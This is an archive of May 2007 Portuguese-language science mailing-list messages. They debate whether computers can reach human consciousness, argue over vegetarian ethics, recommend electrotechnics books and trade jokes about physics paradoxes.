> O problema é saber quando que uma máquina artificial
> adquiriu
> "consciência"... Isso que a gente acha que tem e nem
> sabe direito o que é...

Pelo menos sabemos que existe algo mais no nosso
raciocínio em relação as máquinas de
Turing(computadores atuais).


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
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SUBJECT: RES: [ciencialist] (Para Homero) - Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/05/2007 12:09

Olá,



Defensores da impossibilidade dessa ocorrência em
> geral usam um argumento baseado em uma propriedade
> não material, uma alma por exemplo, que seria
> exterior ao sistema cognitivo, cerebral. Se isso for
> verdade, se existir uma alma, então é mesmo
> impossível que computadores desenvolvam consciência
> ou inteligência (a não ser que o responsável por
> esta alma decida coloca-la também em cérebros
> eletrônicos..:-).



Victor: Não creio que pensamentos assim sejam generalizados.

Particularmente, defendo que essa impossibilidade É uma impossibilidade,

ao menos até onde nosso conhecimento atual permite adentrar.

Nada sabemos do amanhã, mas arrisco uns palpites, mais abaixo.

E não cogito, sob qualquer aspecto, de que essas características ímpares da

mente humana tenham atributos espritituais ou coisa que o valha.

Mesmo que um computador possa lidar com alguma auto-referência, por mais
elementar que seja, isto tem que ser

programado. E por melhor que seja o algorítimo, isto só acontecerá de
maneira limitada, dentro da saia justa

dos passos a serem seguidos! E ai do programador que esquecer um mísero
ponto.

Que me desculpem os notáveis e gigantes intelectuais da IA.

Já isto não acontece conosco, em alguns aspectos conhecidos.

Certas funções que nos fazem continuar bulindo podem ser recriadas ou
by-passadas, sem muito lero-lero.

O de que se trata, certamente, não sabemos. Mas sabemos, isto é, tenho eu
esta convicção, que nada tem a ver com essas coisas de espiritualidade.

Se há um Deus, este será a Seleção Natural. Isto é tudo que nos resta de
concreto para inferir com segurança os conhecimentos

que temos sobre a evolução das espécies, nós incluídos, que também somos
filhos dela.

E, até onde sei, o insight de Darwin, tem nos orientado adequadamente, sem
ambiguidades ou incoerências.

Nada há de minimamente mais concreto que isso. Ou há?

E como podemos atribuir a consciência à matéria? Não sei. Quais seriam
outras alternativas?

Ao invés de exclamar que se trata do mistério dos mistéeerioooos!, prefiro
admitir que não atingimos o estágio

intelectual para visualizarmos o que se passa em tal contexto evolutivo. E
que, com jeitinho e paciência, um dia, digo,

num século desses, quem sabe, chegaremos o nó górdio da questão. Contudo, os
processos evolutivos, à La Darwin, por outro

lado, nem nos dão ainda uma dica sequer de como isso possa ocorrer. Assim é
ruim!

Tinha muita graça, computador com consciência, discernimento, vontade
própria, como os pobres de nós.

Pois sim!



Sds,

Victor









De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Chicao Valadares
Enviada em: terça-feira, 22 de maio de 2007 11:12
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] (Para Homero) - Re: [RN] MOSCAS E LIVRE ARBÍTRIO



--- Oraculo <oraculo@atibaia.com.br <mailto:oraculo%40atibaia.com.br> >
escreveu:
> Na verdade, o que afirmei é que não parecia haver
> nenhum indicio de que isso seria impossível, nem o
> problema da parada, nem paradoxos.
> Talvez hoje chimpanzés não possam lidar com
> paradoxos, ou mesmo com o problema da parada como
> nós, mas nós já estivemos na posição deles, e
> evoluímos até adiquirir essa capacidade, nada impede
> que sistemas de computação também o façam.

Bem, se surgir um novo paradigma de computação que
seja capaz de lidar com auto-referência então eu me
calo.
Como já disse, homens sabem lidar com auto-referência,
computadores, em alguns casos, não. Isso já é o
suficiente para afirmar que computadores(máquinas de
turing) não serão capazes de alcançar plenamente a
inteligência humana.


> Defensores da impossibilidade dessa ocorrência em
> geral usam um argumento baseado em uma propriedade
> não material, uma alma por exemplo, que seria
> exterior ao sistema cognitivo, cerebral. Se isso for
> verdade, se existir uma alma, então é mesmo
> impossível que computadores desenvolvam consciência
> ou inteligência (a não ser que o responsável por
> esta alma decida coloca-la também em cérebros
> eletrônicos..:-).

Quem está falando de alma aqui é vc :p.

> Nosso problema no momento é, sem considerar o
> elemento sobrenatural, que outro elemento ou
> propriedade da mente humana pode ser apontado como
> exterior a complexidade cerebral, e dessa forma ser
> um impedimento para o surgimento de processos
> cognitivos avançados em sistemas artificiais?

Você está colocando toda a responsabilidade no
cerébro.
Você só poderia fazer isso de forma segura se
entendesse plenamente o funcionamento do cerébro e da
inteligência.

> Da mesma forma, não há nenhuma evidência de que
> sistemas de informação não possam, no futuro,
> alcançar esse estágio.

Com esse paradigma de computação, não.
Note que não estou querendo dizer que não exista
alguns processos cognitivos que sejam algoritmizáveis
dentro do paradigma vigente. O que separa inteligência
humana de computadores é a auto-referência.

> Isso também se aplica, a meu ver, a sistemas de
> computação. Alegar uma dificuldade com algum
> processo cognitivo, hoje, para concluir que será
> impossível avançar até a consciência, não me parece
> lógico ou sustentável a partir de evidências
> sólidas.

Não é dificuldade: é impedimento teórico. A não ser
que inventem outro paradigma de computação que supere
isso.

"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Fw: livros de eletrotécnica
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 13:46

Eletrotécnica - Princípios e Aplicações
do Gray Wallace

Instalações Elétricas
do Ademaro Cotrim

Em biblioteca de universidades se pode encontrar.

PS:Em tempo, meu segundo grau foi auxiliar técnico em eletricidade...
Bons tempos!!!

Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu: Quem ajuda?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Fernando Rodrigues da Silva Rodrigues da Silva
Para: leobarretos@uol.com.br
Cc: fernandorodrygues@yahoo.com.br
Enviada em: segunda-feira, 21 de maio de 2007 09:56
Assunto: livros de eletrotécnica

Caro professor,
Eu sou Fernando, e gostaria de saber algumas indicações de livros que falem sobre bobinamento de motores elétricos monofásicos e trifásicos e onde posso encontrá-los com preço acessível. Eu sou um curioso da área e na minha cidade só existe uma pessoa que faz este tipo de serviço mas ele aprendeu só a pratica e eu, ao contrário, quero aprender também a teoria. Agradeço muito a sua ajuda. Também quero parabenizá-lo pelo site "feiradeciencias". Ele é ótimo.
Até outra oportunidade.

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Bruna Carolina Ribas Silva
Rio Grande/RS

"A maior tradição do ser humano é evoluir"

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SUBJECT: A verdadeira foto não está no álbum, né Takata?
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 14:11

O boi não tem culpa nenhuma, Alvaro...

Ops!O boi tem culpa de ser apetitoso...e a vaca, a galinha, os porcos e os peixes tbm, no Nordeste o jumento tá na moda!
No Oriente a culpa é dos cachorros e gatos, e no Egito é dos camelos!
Na Europa, a culpa é dos gansos e patos ter aquele fígado "fácil" de adoecer, na África tá gostoso é nosso parente mais próximo no prato e na Austrália, coisa boa é um canguru assado...
No Japão, bom mesmo é comer golfinho.
No Afeganistão depois do jogar pólo com a cabeça do bode o corpo foi assado...
Ufa...aos que andam, nadam ou rastejam, cuidado...
e lá vamos nós, o "must" das espécies do planeta comer tudo o que é possível.
E as nossas proteínas?
Precisamos de proteínas!!!
Tá tudo certo, continuamos assim...no incêndio, eu garanto a preservação das 200 vacas se cada uma valer mais que o que trabalhador comum pode ganhar um ano inteiro...eu tenho a ética superior, pois que vou garantir
AS PROTEÍNAS!!!!


Assunto encerrado.

E Homero, te pego depois nas quebradas, porque vou dedicar a ti um tratado sobre a senciência e além, que já estou escrevendo...me aguarde

Sinceramente,

Bruna Carolina


"Alvaro Augusto (L)" <alvaro@lunabay.com.br> escreveu: E que culpa tem o boi?

[ ]s

Alvaro Augusto

----- Original Message -----
From: "José Carlos Antonio" <profjc2003@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, May 21, 2007 11:14 PM
Subject: [ciencialist] Re: A verdadeira foto do Takata

Proponho um churrasco para resolver essa peleja.

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> > Por que seu pensamento é superior?Simplesmente porque representa a
> > mentalidade da sociedade vigente?Quem pode julgar isso?
>
> Vc quis julgar, acho q posso julgar tb. Não é meu pensamento q é
> superior e a ética q eu aceito (superior à sua ética).
>
> A - Vc salvaria 200 vacas e deixaria um ser humano morrer.
> B - Vc salvaria 3 vacas e deixaria um garoto morrer.
> C - Vc salvaria 3 frangos e deixaria uma grávida morrer.
>
> 1 - Eu salvaria um ser humano no lugar de 200 vacas.
> 2 - Eu salvaria o garoto no lugar de 3 vacas.
> 3 - Eu salvaria a mulher grávida no lugar dos 3 frangos.
>
> Claro q vc considera sua ética superior na medida em q condena
> eticamente quem se alimenta de animais não-humanos. Entre uma ética q
> proíbe comer carne, mas defende q as situações de A a C possam ocorrer
> e uma ética q permite comer carne, mas defende q ocorram as situações
> 1 a 3; o segundo sistema é superior.
>
> > Lhe fiz uma ironia sbre sua própria aparência e venho pedir
> > desculpas por isso, por invadir sua privacidade pois que fui mal
> > compreendida, eu sei bem o que significa etologia e psicologia e
> > sobre etologia e a diferença para Behavorismo, que parece que vc aí
> > confundiu.
>
> Menos mal q tenha pedido desculpas, embora o trecho abaixo dê pintas
> de q não é sincera.
>
> Ninguém mencionou behaviorismo.
>
> > Porém, tenho que novamente pedir excusas a lista pois que apenas um
> > diploma universitário nos permite discutir assuntos referentes ao
> > "diploma" que temos...
>
> Discutir vc pode discutir à vontade sobre praticamente qq coisa. Dar
> diagnóstico em área regulamentada ao qual vc não está habilitada é
> exercício ilegal de profissão.
>
> > Porém, eu me furto a responder sua pergunta porque não estou aqui
> > para impor meu pensamento para a lista, assim como não vou discutir
> > na lista o certo e o errado.
>
> Menos mal q resolveu parar de querer impor a sua visão vegan.
>
> > Honestamente, e respeitosamente falando, querido Takata, vc parece
> > querer impor apenas para "ganhar a discussão"...isso não é algo que
> > me interessa.
>
> Não impus coisa alguma. Sobre o exercício ilegal de psicologia, está
> na lei. Sobre vegetarianismo e onivorismo, não há nenhuma imposição
> sobre os vegetarianos - querem ser vegetarianos? Ótimo, q sejam
> felizes, q tomem cuidados para a complementação da dieta. Mas a minha
> visão tb é: querem ser onívoros? Tb ótimo, q sejam felizes e q tomem
> cuidados para balancearem bem a dieta.
>
> []s,
>
> Roberto Takata



__




Bruna Carolina Ribas Silva
Rio Grande/RS

"A maior tradição do ser humano é evoluir"

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SUBJECT: Re: A verdadeira foto não está no álbum, né Takata?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 14:28

--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> Na Europa, a culpa é dos gansos e patos ter aquele fígado "fácil" de
> adoecer
[...]
> No Afeganistão depois do jogar pólo com a cabeça do bode o corpo foi
> assado...

Continua a querer misturar as coisas. Mal trato é uma coisa, abate
para alimentação é outra.

[]s,

Roberto Takata



SUBJECT: Re: A verdadeira foto não está no álbum, né Takata?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 14:33

--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> Ops!O boi tem culpa de ser apetitoso...

Culpa não tem relevância nenhuma no caso de bois. Eles não são mortos
por castigo. Eles são abatidos para fornecer alimento e matéria-prima.
Algumas vezes eles são sacrificados por questão de segurança (se
estiver com doença contagiosa, se estiver ameaçando a integridade
física de pessoas e propriedades).

Algumas vezes eles são abatidos por questões de diversão - farra do
boi e touradas - o q é condenável. A farra do boi pelo menos tem sido
combatida.

[]s,

Roberto Takata



SUBJECT: Re: A verdadeira foto não está no álbum, né Takata?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 14:41

--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> E Homero, te pego depois nas quebradas, porque vou dedicar a ti um
> tratado sobre a senciência e além, que já estou escrevendo...me
> aguarde

Qto à senciência, não se esqueça de q bebês são menos sencientes do q
adultos, q muitos doentes mentais tb são menos sencientes do q pessoas
normais. E, claro, bois são menos sencientes do q humanos.

Aqui de volta ao cenário do incêndio, mas agora 200 homens e 1 vaca.
Só q os homens estão em coma irreversível. E a vaca está bem acordada.

Tb não se esqueça de q é dificílimo atribuir senciência ao outro - e
eu digo não apenas ao boi, mas tb a qq outro ser (incluindo humanos) q
não nós mesmos. A depender dos critérios utilizados, iremos concluir q
até plantas possuem um tipo de senciência - afinal, elas tb percebem e
reagem aos estímulos do ambiente. E em um sentido genérico até mm
pedras poderão apresentar algum grau de senciência.

[]s,

Roberto Takata



SUBJECT: Re: A verdadeira foto não está no álbum, né Takata?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 14:43

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Culpa não tem relevância nenhuma no caso de bois. Eles não são mortos
> por castigo.

Ao menos no mundo ocidental dos dias de hoje. Parece q em uma certa
época da Idade Média, na Zorópia, animais eram julgados como os
humanos em tribunais qdo ocorria, por exemplo, a morte de uma pessoa
provocado por um animal.

[]s,

Roberto Takata



SUBJECT: Re: Sobre o abismo, para o JC.
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 14:46

Olá João,

Raramente recebemos mensagens como essa na lista. Geralmente as
pessoas não falam sobre seus sentimentos na C-List. Achei bonita sua
mensagem.

Essa sensação de "contemplar o abismo", que é uma bela forma poética
de admitir a ignorância como parte do método de aprendizagem, creio já
povoou as emoções de muita gente. É mesmo "chato" reconhecer-se no
espelho e abandonar algumas ilusões agradáveis sobre nós mesmos. Mas
não é assim tão ruim, depende apenas de como você vê esse abismo...
Assunto para o Botequim.

Eu não fiz opção por pílulas vermelhas ou azuis. Nem nunca procurei me
ver como "louco" ou "normal". Acho tudo normal. Da ignorância
consentida, que você parece crer que é a "norma", ao excesso de
racionalidade que alguns pensam que têm. Deixei de procurar enquadrar
tudo em "modelos". Acredito mais na diversidade de viências e
distintas formações que levam do ignorante feliz ao intelectual com
frescuras, passando por nuances diversas onde não se sabe ao certo
onde estamos enquadrados. Pouco importa, como você disse com relação
ao tamanho da galáxia.

Bom, isso é conversa de Botequim e eu já tenho uma lista povoada de
"doidos" como você onde me divirto bastante.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Olá, JC.
>
> > > Elas fazem sim. Especialmente hoje em dia. Tem gente que diz ser
> o
> > > cérebro complicado demais para ser entendido. Na verdade, elas
> querem
> > > que ele seja complicado demais de modo que a neurologia não
> consiga
> > > abordá-lo.
>
> > Será?
>
> Sim. Com certeza. A mente se tornou o último bastião de resistência
> espiritual contra o avanço do conhecimento. A partir daí não há mais
> para onde eles recuarem. Eles irão se entrincheirar e lutar até o
> último sobrevivente. A causa deles é nobre, e eu a compreendo. Eles
> lutam pela grandeza humana, por sua dignidade e valor. Já o avanço da
> ciência representa o deserto da realidade, o abismo no qual, se
> contemplado, só irá trazer mal-estar. Mas para mim, pelo menos, não
> existiu opção. Eu já tomei a pílula vermelha, e a tomaria de novo, se
> me dessem a opção. A verdade é o meu deus. É um deus horrível, frio,
> inumano. Ele não irá me trazer felicidade ou bem-estar. Mas, por
> razões psicológicas da minha história de vida (coisas íntimas que não
> irei aqui contar), é o caminho que resolvi tomar. Na verdade, foi o
> único caminho que me foi apresentado. Eu não tive opção. Diante do
> desamparo emocional que eu passei, o abismo foi a única coisa que me
> estendeu a mão. A única rocha sólida em que eu pude me agarrar. E eu
> a agarrei. Eu fiquei amigo do monstro. "Amigo", na verdade, não é o
> melhor termo, pois eu sei que ele é um monstro que assusta os
> humanos, e que é altamente nocivo. Mas acho que, durante a pré-
> adolescência, e eu não sabia disto, e achava que ele era um amigo.
> Durante a noite, contemplando as estrelas, eu conversava com ele. Eu
> fiquei íntimo dele. Só depois, quando amadureci, que eu me dei conta
> de sua inumanidade, de sua frieza abissal. Mas já era tarde demais.
> Eu já havia tomado a pílula vermelha. Não dava para empurrar o abismo
> para baixo do tapete e fingir que ele não existia. Quando você olha
> para o abismo, o abismo olha para você.
>
> >>1 milhão, 1 bilhão, que diferença faz?
>
> > Você está fazendo opção pela ignorância disso?
>
> Creio que não. Apenas admitindo minha incapacidade de contemplar o
> abismo em toda a sua profundidade. Ele é insondável, e por isso é
> abissal. Mas creio poder contemplá-lo de forma mais profunda que a
> maioria das pessoas. O preço que eu pago por isso é alto. Por isso
> compreendo àqueles que se recusam a contemplá-lo, e por eles
> demonstro simpatia. Não sei muito bem por que estou te falando isso.
> Se eu posso te dar um conselho, sugiro que você tome a pílula azul.
> Tomar a vermelha não vai te levar a nenhum estado mais elevado de
> consciência ou realização, e você será muito mais feliz com a azul. É
> melhor se agarrar a sua crença de que o abismo não existe, e que é
> simplesmente uma interpretação do mundo de um indivíduo desajustado.
> Opte por ser um humano, e ver o mundo de uma forma tacanha, mas
> feliz. Humanos não foram feitos para contemplar o abismo, e isso só
> nos foi possível através do desenvolvimento de meios científicos e
> tecnológicos avançados. E lembre-se: se você olha para o abismo, o
> abismo olha para você.
>
> Bom, apesar do conteúdo sinistro dessa mensagem, desejo-lhe sinceras
> saudações.
> João de Carvalho
>




SUBJECT: Re: (Para jefferson)MOSCAS E LIVRE ARBÍTRIO
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 14:55

Desculpem-me a intromissão, mas vocês estão falando tanto em
"inteligência humana" que acabei não resistindo: o que vem a ser a
"inteligência humana" de que tanto falam? Vocês poderiam defini-la de
uma forma tal que depois não precisemos ficar redefinindo a todo
momento que surgir "algo novo" que não cabe na definição original?

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
<chicaovaladares@...> escreveu
>
> --- Jefferson <jeff@...> escreveu:
> > Como o Homero bem explicou, o nosso cérebro pode
> > entrar em loop em algumas
> > situações (adiciono doenças neurológicas) e um
> > computador pode prever loops
> > e se esquivar facilmente (o problema é do software).
>
> O meu não entrou quando estudei o problema da parada.
> Computadores se quebram quando se deparam com este
> problemas e correlatos, como por exemplo, se duas
> gramáticas geram a mesma linguagem.
>
> > Mas estou falando de rede neural artificial, que é
> > uma modelo matemático
> > bastante simples baseado no funcionamento de um
> > cérebro real (bem
> > simplificado). Como disse no e-mail anterior, uma
> > rede neural com meia-dúzia
> > de neurônios é capaz de aprender valores (o que é
> > bom e o que é ruim, por
> > exemplo), em treinamento (aprendizado
> > supervisionado) e, quando colocada pra
> > trabalhar, numa situação real, toma decisões
> > baseadas nestes valores. MAS,
> > ela continua aprendendo e, depois de algum tempo,
> > pode até mudar seus
> > valores e tomar atitudes racionais que ninguém
> > previa. Você teria então que
> > conhecer toda a experiência desta rede e analisá-la
> > para entender porque que
> > ela tomou aquela atitude (como um psicólogo faria
> > com um humano :-)
>
> Tudo que puder ser simulado em um computador estará
> sujeito a indecibilidade.
> Então não espere que com esse paradigma atual se
> consiga plenamente atingir o grau de inteligência
> humana.
>
>
> > Agora imagine bilhões de neurônios e um sistema mais
> > sofisticado... Como eu
> > sei como uma rede neural artificial funciona, já
> > montei uma e ví funcionar,
> > eu imagino que, no futuro, uma rede neural muito
> > complexa poderá fazer
> > coisas estranhas, incompreensíveis, aparentemente
> > irracionais, que vamos
> > chamar de "sentimentos".
>
> Isso se sentimentos puderem ser descritos com máquinas
> de turing.
>
>
> > O problema é saber quando que uma máquina artificial
> > adquiriu
> > "consciência"... Isso que a gente acha que tem e nem
> > sabe direito o que é...
>
> Pelo menos sabemos que existe algo mais no nosso
> raciocínio em relação as máquinas de
> Turing(computadores atuais).
>
>
> "O Binômio de Newton é tão belo como a Vênus de Milo.
> O que há é pouca gente para dar por isso... "
> Fernando Pessoa - Poesias de Alvaro Campos
>
> _________________________________________________________________
> As informações existentes nessa mensagem e no(s) arquivo(s) anexado(s)
> são
> para uso restrito, sendo seu sigilo protegido por lei. Caso não seja
> destinatário, saiba que leitura, divulgação ou cópia são proibidas.
> Favor
> apagar as informações e notificar o remetente. O uso impróprio será
> tratado
> conforme as normas da empresa e a legislação em vigor. Agradecemos sua
> colaboração.
>
>
> The information mentioned in this message and in the archives attached
> are
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> addressee, be aware that reading, disclosure or copy are forbidden.
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SUBJECT: Re: Paradoxo: duas forças irresistíveis
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 15:04

Eu penso que na frase "O que acontece quando duas forças irresistíveis
se chocam" há um óbvio (gostei desse óbvio ferrariano) paradoxo
galináceo: é claro que forças não se chocam, pois como sabemos quem
choca é a galinha (e outras espécies do gênero penaceae) e ela choca o
ovo; um ovo não "se choca", ele é chocado. Logo, a frase estaria
correta do ponto de vista neurolinguístico óbvio se fosse escrita como
"O que acontece quando duas forças irresistíveis são chocadas?".

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Não há choque de forças; há choque entre corpos materiais dos quais
participam forças de interação. Não existe o conceito de forças
irresistíveis!
> A massa do Brad é maior que a massa da Angelina e eles podem se
chocar de frente (um tipo de choque central). Se o coeficiente de
restituição for igual a 1, após o choque eles se afastam, a Angelina
com maior velocidade que aquela de aproximação. Se o coeficiente de
restituição for nula eles se esborracham e ficam grudados. Pouca
chance de engravidar.
> Putz grila! Quanta bobagem! É melhor aceitarmos o conhecimento
ferrariano:Brad não existe, Angelina não existe, é uma falsa percepção
da realidade do mundo, o que o Bulcão diz é um raciocínio, uma onda se
propagando na matéria (meio) que atingiu meu monitor como um pulso
vibrante e se converteu em consciência do óbvio. É o óbvio, pense
cognitivamente nisso! Vc vai conseguir enxergar a verdade --- o método
científico é a linguagem do óbvio, aceite isso! Física não é Ciência,
é a Ciência da Física!
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Manuel Bulcão" <manuelbulcao@...>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: terça-feira, 22 de maio de 2007 10:31
> Assunto: [ciencialist] Paradoxo: duas forças irresistíveis
>
>
> O que acontece quando duas forças irresistíveis se chocam:
>
> Resposta: a Angelina Jolie engravida do Brad Pitt.
>
> []s
> Manuel Bulcão
>
>
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
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> Links do Yahoo! Grupos
>
>
>
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> --
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.467 / Virus Database: 269.7.6/814 - Release Date:
21/05/2007 14:01
>




SUBJECT: P/ Bruna - A verdadeira foto não está no álbum, né Takata?
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/05/2007 15:07

Olá Bruna

Bruna: "E Homero, te pego depois nas quebradas, porque vou dedicar a ti um tratado sobre a senciência e além, que já estou escrevendo...me aguarde"

He, he, he..:-) Por mais que ache difícil de acreditar, Bruna, vou adorar ler seu tratado sobre senciência..:-) Verdade, porque estou na lista para aprender, entender, compreender, e isso inclui compreender como pensam as pessoas que pensam diferente de mim.

Assim, saber como você considera a senciência, a consciência, a hierarquização de seres vivos, etc, é importante para mim. E estou falando sério.

Um abraço.

Homero



----- Original Message -----
From: Bruna Carolina Ribas
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 22, 2007 2:11 PM
Subject: [ciencialist] A verdadeira foto não está no álbum, né Takata?


O boi não tem culpa nenhuma, Alvaro...

Ops!O boi tem culpa de ser apetitoso...e a vaca, a galinha, os porcos e os peixes tbm, no Nordeste o jumento tá na moda!
No Oriente a culpa é dos cachorros e gatos, e no Egito é dos camelos!
Na Europa, a culpa é dos gansos e patos ter aquele fígado "fácil" de adoecer, na África tá gostoso é nosso parente mais próximo no prato e na Austrália, coisa boa é um canguru assado...
No Japão, bom mesmo é comer golfinho.
No Afeganistão depois do jogar pólo com a cabeça do bode o corpo foi assado...
Ufa...aos que andam, nadam ou rastejam, cuidado...
e lá vamos nós, o "must" das espécies do planeta comer tudo o que é possível.
E as nossas proteínas?
Precisamos de proteínas!!!
Tá tudo certo, continuamos assim...no incêndio, eu garanto a preservação das 200 vacas se cada uma valer mais que o que trabalhador comum pode ganhar um ano inteiro...eu tenho a ética superior, pois que vou garantir
AS PROTEÍNAS!!!!

Assunto encerrado.

E Homero, te pego depois nas quebradas, porque vou dedicar a ti um tratado sobre a senciência e além, que já estou escrevendo...me aguarde

Sinceramente,

Bruna Carolina

"Alvaro Augusto (L)" <alvaro@lunabay.com.br> escreveu: E que culpa tem o boi?

[ ]s

Alvaro Augusto

----- Original Message -----
From: "José Carlos Antonio" <profjc2003@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, May 21, 2007 11:14 PM
Subject: [ciencialist] Re: A verdadeira foto do Takata

Proponho um churrasco para resolver essa peleja.

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> > Por que seu pensamento é superior?Simplesmente porque representa a
> > mentalidade da sociedade vigente?Quem pode julgar isso?
>
> Vc quis julgar, acho q posso julgar tb. Não é meu pensamento q é
> superior e a ética q eu aceito (superior à sua ética).
>
> A - Vc salvaria 200 vacas e deixaria um ser humano morrer.
> B - Vc salvaria 3 vacas e deixaria um garoto morrer.
> C - Vc salvaria 3 frangos e deixaria uma grávida morrer.
>
> 1 - Eu salvaria um ser humano no lugar de 200 vacas.
> 2 - Eu salvaria o garoto no lugar de 3 vacas.
> 3 - Eu salvaria a mulher grávida no lugar dos 3 frangos.
>
> Claro q vc considera sua ética superior na medida em q condena
> eticamente quem se alimenta de animais não-humanos. Entre uma ética q
> proíbe comer carne, mas defende q as situações de A a C possam ocorrer
> e uma ética q permite comer carne, mas defende q ocorram as situações
> 1 a 3; o segundo sistema é superior.
>
> > Lhe fiz uma ironia sbre sua própria aparência e venho pedir
> > desculpas por isso, por invadir sua privacidade pois que fui mal
> > compreendida, eu sei bem o que significa etologia e psicologia e
> > sobre etologia e a diferença para Behavorismo, que parece que vc aí
> > confundiu.
>
> Menos mal q tenha pedido desculpas, embora o trecho abaixo dê pintas
> de q não é sincera.
>
> Ninguém mencionou behaviorismo.
>
> > Porém, tenho que novamente pedir excusas a lista pois que apenas um
> > diploma universitário nos permite discutir assuntos referentes ao
> > "diploma" que temos...
>
> Discutir vc pode discutir à vontade sobre praticamente qq coisa. Dar
> diagnóstico em área regulamentada ao qual vc não está habilitada é
> exercício ilegal de profissão.
>
> > Porém, eu me furto a responder sua pergunta porque não estou aqui
> > para impor meu pensamento para a lista, assim como não vou discutir
> > na lista o certo e o errado.
>
> Menos mal q resolveu parar de querer impor a sua visão vegan.
>
> > Honestamente, e respeitosamente falando, querido Takata, vc parece
> > querer impor apenas para "ganhar a discussão"...isso não é algo que
> > me interessa.
>
> Não impus coisa alguma. Sobre o exercício ilegal de psicologia, está
> na lei. Sobre vegetarianismo e onivorismo, não há nenhuma imposição
> sobre os vegetarianos - querem ser vegetarianos? Ótimo, q sejam
> felizes, q tomem cuidados para a complementação da dieta. Mas a minha
> visão tb é: querem ser onívoros? Tb ótimo, q sejam felizes e q tomem
> cuidados para balancearem bem a dieta.
>
> []s,
>
> Roberto Takata



__

Bruna Carolina Ribas Silva
Rio Grande/RS

"A maior tradição do ser humano é evoluir"

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SUBJECT: Re: A verdadeira foto do Takata
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 15:08

Não faço idéia, mas em todo caso ele também participará. :)

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
<alvaro@...> escreveu
>
> E que culpa tem o boi?
>
> [ ]s
>
> Alvaro Augusto
>
>
> ----- Original Message -----
> From: "José Carlos Antonio" <profjc2003@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, May 21, 2007 11:14 PM
> Subject: [ciencialist] Re: A verdadeira foto do Takata
>
>
> Proponho um churrasco para resolver essa peleja.
>
> Abraços,
> JC
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@>
> escreveu
> >
> > --- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> > > Por que seu pensamento é superior?Simplesmente porque representa a
> > > mentalidade da sociedade vigente?Quem pode julgar isso?
> >
> > Vc quis julgar, acho q posso julgar tb. Não é meu pensamento q é
> > superior e a ética q eu aceito (superior à sua ética).
> >
> > A - Vc salvaria 200 vacas e deixaria um ser humano morrer.
> > B - Vc salvaria 3 vacas e deixaria um garoto morrer.
> > C - Vc salvaria 3 frangos e deixaria uma grávida morrer.
> >
> > 1 - Eu salvaria um ser humano no lugar de 200 vacas.
> > 2 - Eu salvaria o garoto no lugar de 3 vacas.
> > 3 - Eu salvaria a mulher grávida no lugar dos 3 frangos.
> >
> > Claro q vc considera sua ética superior na medida em q condena
> > eticamente quem se alimenta de animais não-humanos. Entre uma ética q
> > proíbe comer carne, mas defende q as situações de A a C possam ocorrer
